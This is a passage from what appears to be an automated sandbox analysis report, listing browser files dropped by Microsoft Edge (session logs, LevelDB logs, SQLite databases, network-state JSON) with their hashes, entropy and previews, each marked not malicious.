SSDEEP:	96:wxgVM+Mp6pzqnmAUg23ZfJ9Xp+k+Vipok9955SLl9iSrj1F/eZtu:rOsqnTUn9Xp+kKipD55SLl9iSrjnGD
MD5:	96B5302597DAC335A9BC6AFF082CF4F8
SHA1:	5FA9372F3EE64961AFCBA49DEECF76C2C78E7E78
SHA-256:	4D70017A073C09EBEEB6127EA3E95E592AE654A2C3BC6C40F7AE0547D87AFA3D
SHA-512:	77B90ED959331AB3553AB088D839AD34F2A0B29CF026AE5BD6DDD1F98B101B2E63B27E66E412DF39AC7E2C83F4F5219545C380B97163A8ADC8B3418310B3BAEF
Malicious:	false
Preview:	...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................kc.b................next-map-id.1.Cnamespace-3a0c5a33_2c0e_432a_9e27_ad71d9aabd9d-https://ntp.msn.com/.0.j.0.................map-0-shd_sweeper.{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.h.p.-.h.a.s.p.o.l.l.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.c.p.r.g.-.c.-.p.o.l.i.s.h.-.s.t.y.l.e.s.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.e.d.g.e._.i.t.4.c.1.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.1.,.p.r.g.-.1.s.w.-.s.a.l.3.u.i.c.d.b.e.3.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.p.r.g.-.1.s.w.-.d.e.f.e.r.c.o.n.,.p.r.g.-.p.r.1.-.s.v.g.a.n.i.m.a.t.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.-.c.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.c.,.p.r.g.-.a.d.s.p.e.e.k.,.1.s.-.n.t.f.1.-.r.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.082190737504215
Encrypted:	false
SSDEEP:	6:HOfqVq2PN723oH+TcwtrQMxIFUt8YOfIFugZmw+YOfOFjSIkwON723oH+TcwtrQq:QqVvVaYebCFUt8bIkg/+bqjSI5OaYebf
MD5:	54D3F54A12CE40BCF189D6EAB4699B41
SHA1:	739C9BAE9B94CE5A07B946F904CAB043C611C228
SHA-256:	09F749D7610E23B0F89EC192BD1A4F4AB3257B37DB9F786CE5BB47F2B2B294BE
SHA-512:	EC12F073EBD19C03D20D5FD5674200F6F062F46A5C7038778A08D9419A4984BC540BA80798C32D509DD4D45C3437C9BD4D2DB3DFD325A0247992AECA7DB4DCC2
Malicious:	false
Preview:	2024/11/22-20:55:29.962 2024 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/22-20:55:29.963 2024 Recovering log #3.2024/11/22-20:55:29.965 2024 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.082190737504215
Encrypted:	false
SSDEEP:	6:HOfqVq2PN723oH+TcwtrQMxIFUt8YOfIFugZmw+YOfOFjSIkwON723oH+TcwtrQq:QqVvVaYebCFUt8bIkg/+bqjSI5OaYebf
MD5:	54D3F54A12CE40BCF189D6EAB4699B41
SHA1:	739C9BAE9B94CE5A07B946F904CAB043C611C228
SHA-256:	09F749D7610E23B0F89EC192BD1A4F4AB3257B37DB9F786CE5BB47F2B2B294BE
SHA-512:	EC12F073EBD19C03D20D5FD5674200F6F062F46A5C7038778A08D9419A4984BC540BA80798C32D509DD4D45C3437C9BD4D2DB3DFD325A0247992AECA7DB4DCC2
Malicious:	false
Preview:	2024/11/22-20:55:29.962 2024 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/22-20:55:29.963 2024 Recovering log #3.2024/11/22-20:55:29.965 2024 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376800531425945

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.7954025954634396
Encrypted:	false
SSDEEP:	24:3aadRdPW7psAF4unxGtLp3X2amEtG1Chq/oQlaDQKkOAM4:3RPwzFYLp2FEkCh5Ql3HOp
MD5:	8F51D89DE12F8533447AB0395B2E61AE
SHA1:	4EE0C3F96C5A9FD142B3169AFFDED7B4A901EF6F
SHA-256:	BCAA9F3D98D1B5CCA34AE869C9F874B0D27A19BE76C3EF9DA8AE707A9CC0AEE8
SHA-512:	373DCC531802CB231125E818F8F9D9736D7347165FBAC173CFA2CFFDFAB681504D7F58F940F1DBE2046232D84C481200BCF11BCA92483527E2EE8B5B66740011
Malicious:	false
Preview:	SNSS.......W.f0...........W.f0......"W.f0...........W.f0.......W.f0.......X.f0.......X.f0....!..X.f0...............................W.f0X.f01..,...X.f0$...3a0c5a33_2c0e_432a_9e27_ad71d9aabd9d...W.f0.......X.f0....*.0........W.f0...W.f0.......................W.f0....................5..0...W.f0&...{46F3A197-DB49-410A-81B3-94975C835573}.....W.f0.......W.f0..........................X.f0...........X.f0........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........n.'....n.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.1510063052061765
Encrypted:	false
SSDEEP:	6:HOfLpM+q2PN723oH+Tcwt7Uh2ghZIFUt8YOfLmZmw+YOfLpMVkwON723oH+Tcwts:QdM+vVaYebIhHh2FUt8by/+bdMV5OaYz
MD5:	59F82875477982155AAA14F139B54D69
SHA1:	9236F5DB923C5A849AB868F5CC7D6516A6C5A90B
SHA-256:	09297E790DF6787E7AE59865CD4E98D6F2E392F7E0B68E8AB5DC85AA76F017E2
SHA-512:	2D6B0F64FABAB263CDC3DF0947514FF798801E277C742D5C46AF10F41C2986A0158F44D780732EC6FA2AF2AD1BA84A17F99C0431F33BDF1E00B09E194911CC08
Malicious:	false
Preview:	2024/11/22-20:55:28.869 236c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/22-20:55:28.869 236c Recovering log #3.2024/11/22-20:55:28.869 236c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.1510063052061765
Encrypted:	false
SSDEEP:	6:HOfLpM+q2PN723oH+Tcwt7Uh2ghZIFUt8YOfLmZmw+YOfLpMVkwON723oH+Tcwts:QdM+vVaYebIhHh2FUt8by/+bdMV5OaYz
MD5:	59F82875477982155AAA14F139B54D69
SHA1:	9236F5DB923C5A849AB868F5CC7D6516A6C5A90B
SHA-256:	09297E790DF6787E7AE59865CD4E98D6F2E392F7E0B68E8AB5DC85AA76F017E2
SHA-512:	2D6B0F64FABAB263CDC3DF0947514FF798801E277C742D5C46AF10F41C2986A0158F44D780732EC6FA2AF2AD1BA84A17F99C0431F33BDF1E00B09E194911CC08
Malicious:	false
Preview:	2024/11/22-20:55:28.869 236c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/22-20:55:28.869 236c Recovering log #3.2024/11/22-20:55:28.869 236c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.233118383485043
Encrypted:	false
SSDEEP:	12:Q7vVaYebvqBQFUt8bY/+bC5OaYebvqBvJ:mVaYebvZg8COaYebvk
MD5:	B2BD023087BDC90385D3B6ABE98BAEB2
SHA1:	9D97749C028844D3041E4D6252344DF4624B0A97
SHA-256:	6A6C8CB9E9B00D214134D498C72AAC85A030FFF15703F5D6079BF67DDB6890DE
SHA-512:	6DCF03370A2FF4FBBC3012536C7419AC0C67E7B8A575D0E7BAF683AB1D85FFDA33FC22F60448BBEAEE32317BC8C1C10E37C641C5C9B3FCFF4969CC2A6C1ECF95
Malicious:	false
Preview:	2024/11/22-20:55:29.986 2038 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/22-20:55:29.988 2038 Recovering log #3.2024/11/22-20:55:29.991 2038 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.233118383485043
Encrypted:	false
SSDEEP:	12:Q7vVaYebvqBQFUt8bY/+bC5OaYebvqBvJ:mVaYebvZg8COaYebvk
MD5:	B2BD023087BDC90385D3B6ABE98BAEB2
SHA1:	9D97749C028844D3041E4D6252344DF4624B0A97
SHA-256:	6A6C8CB9E9B00D214134D498C72AAC85A030FFF15703F5D6079BF67DDB6890DE
SHA-512:	6DCF03370A2FF4FBBC3012536C7419AC0C67E7B8A575D0E7BAF683AB1D85FFDA33FC22F60448BBEAEE32317BC8C1C10E37C641C5C9B3FCFF4969CC2A6C1ECF95
Malicious:	false
Preview:	2024/11/22-20:55:29.986 2038 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/22-20:55:29.988 2038 Recovering log #3.2024/11/22-20:55:29.991 2038 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\78112eae-f790-4ef2-b198-352f5024b2da.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\89150fd4-4520-4666-a589-587aab965d97.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\92b57bf3-b852-459c-812a-70ac335c9319.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3c4e7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\da028ad3-2e94-4df7-9549-fc45ed8b1d32.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.204981261493711
Encrypted:	false
SSDEEP:	12:QuSVvVaYebvqBZFUt8bTg/+bqI5OaYebvqBaJ:JMVaYebvyg8tOaYebvL
MD5:	860C5F37F3C24509E97A6226D0DFCB83
SHA1:	390C88691A52175CF4DECF18661BAC088A50B7AB
SHA-256:	B2A1BA73558EEE692EF3AF7D5D70EA353275744AF8A7CA9F9A22DF90C9F88F74
SHA-512:	4BB786F9EF985B800AADA23C6C159227149F5031A73DB5B5D068AF6EF14CB0F8FBB0CA0AA8EDC1A8DB14A80E0F5160BCD4F778A6E5D68762D8E3536FEAC12110
Malicious:	false
Preview:	2024/11/22-20:55:47.165 2024 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/22-20:55:47.167 2024 Recovering log #3.2024/11/22-20:55:47.171 2024 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.204981261493711
Encrypted:	false
SSDEEP:	12:QuSVvVaYebvqBZFUt8bTg/+bqI5OaYebvqBaJ:JMVaYebvyg8tOaYebvL
MD5:	860C5F37F3C24509E97A6226D0DFCB83
SHA1:	390C88691A52175CF4DECF18661BAC088A50B7AB
SHA-256:	B2A1BA73558EEE692EF3AF7D5D70EA353275744AF8A7CA9F9A22DF90C9F88F74
SHA-512:	4BB786F9EF985B800AADA23C6C159227149F5031A73DB5B5D068AF6EF14CB0F8FBB0CA0AA8EDC1A8DB14A80E0F5160BCD4F778A6E5D68762D8E3536FEAC12110
Malicious:	false
Preview:	2024/11/22-20:55:47.165 2024 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/22-20:55:47.167 2024 Recovering log #3.2024/11/22-20:55:47.171 2024 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.184363855391038
Encrypted:	false
SSDEEP:	6:HOf4+q2PN723oH+TcwtpIFUt8YOfs8ZZmw+YOfs8NVkwON723oH+Tcwta/WLJ:QNvVaYebmFUt8bsQ/+bsY5OaYebaUJ
MD5:	22D09C04DDAF44CC74FE3BFE43B6DF4F
SHA1:	5B84C9B0E9F4B0B18A1E05184A40A47C28A3CD4D
SHA-256:	1E201221B161816B98DB7080A2F0F5A00D86091725B5C38E7F8D3F1E409B1BCF
SHA-512:	8836AFC198DFAD1343EEDB15922E322154B43C9015F6ABD1FD8EE62D96AF9D4960C7EB5FCD6E2A2F8F342D45AEDC394BDB029B6DE80661DD24F86F10432188AB
Malicious:	false
Preview:	2024/11/22-20:55:28.840 2368 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/22-20:55:28.841 2368 Recovering log #3.2024/11/22-20:55:28.841 2368 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.184363855391038
Encrypted:	false
SSDEEP:	6:HOf4+q2PN723oH+TcwtpIFUt8YOfs8ZZmw+YOfs8NVkwON723oH+Tcwta/WLJ:QNvVaYebmFUt8bsQ/+bsY5OaYebaUJ
MD5:	22D09C04DDAF44CC74FE3BFE43B6DF4F
SHA1:	5B84C9B0E9F4B0B18A1E05184A40A47C28A3CD4D
SHA-256:	1E201221B161816B98DB7080A2F0F5A00D86091725B5C38E7F8D3F1E409B1BCF
